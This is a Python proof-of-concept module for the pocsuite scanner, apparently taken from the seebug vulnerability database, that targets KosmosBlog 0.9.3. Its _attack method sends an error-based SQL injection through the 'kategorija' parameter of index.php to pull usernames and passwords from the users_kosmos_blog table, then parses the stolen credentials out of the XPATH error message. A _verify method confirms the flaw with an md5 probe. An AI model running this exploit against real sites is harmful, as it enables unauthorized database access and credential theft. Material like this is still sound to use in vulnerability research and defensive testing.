KosmosBlog 0.9.3 - (SQLi/XSS/CSRF) Multiple Vulnerabilities

                                                #!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
import re

class TestPOC(POCBase):
    vulID = '67552'  # ssvid
    version = '1.0'
    author = ['']
    vulDate = ''
    createDate = '2016-01-22'
    updateDate = '2016-01-22'
    references = ['http://www.seebug.org/vuldb/ssvid-67552']
    name = 'KosmosBlog 0.9.3 - (SQLi/XSS/CSRF) Multiple Vulnerabilities'
    appPowerLink = ''
    appName = ''
    appVersion = ''
    vulType = 'Other'
    desc = '''
    '''
    samples = ['']

#index.php?kategorija=1' or updatexml(1,concat(1,(select md5(1))),1)%23
    def _attack(self):
        result = {}
        vul_url = '/index.php'
        payload = {
                    "kategorija":"1' or updatexml(1,concat(0x7e,(Select group_concat(korisnickoime,0x7e,sifra) from users_kosmos_blog)),0x7e)#"
                   }
        response = req.get(self.url,params=payload)
        return self.parse_attack(response)

    def _verify(self):
        result = {}
        vul_url = '/index.php'
        payload = {
                    "kategorija":"1' or updatexml(1,concat(1,(select md5(1))),1)#"
                   }
        response = req.get(self.url,params=payload)
        return self.parse_verify(response)


    def parse_verify(self, response):
        output = Output(self)
        result = {}
        if response:
            #print response.text
            m = re.search(r'c4ca4238a0b923820dcc509a6f75849b', response.content)
            if m:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = response.url
                output.success(result)
        else:
            output.fail('Internet Nothing Returned')

        return output
        
    def parse_attack(self, response):
        output = Output(self)
        result = {}
        #print response.content
        if response:
            pattern = re.compile(r"XPATH syntax error: '~(.*?)'")
            m = pattern.findall(response.content)
            if m:
                m = m[0].split('~')
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = response.url
                result['VerifyInfo']['username'] = m[0]
                result['VerifyInfo']['password'] = m[1]
                output.success(result)
        else:
            output.fail('Internet Nothing Returned')

        return output


register(TestPOC)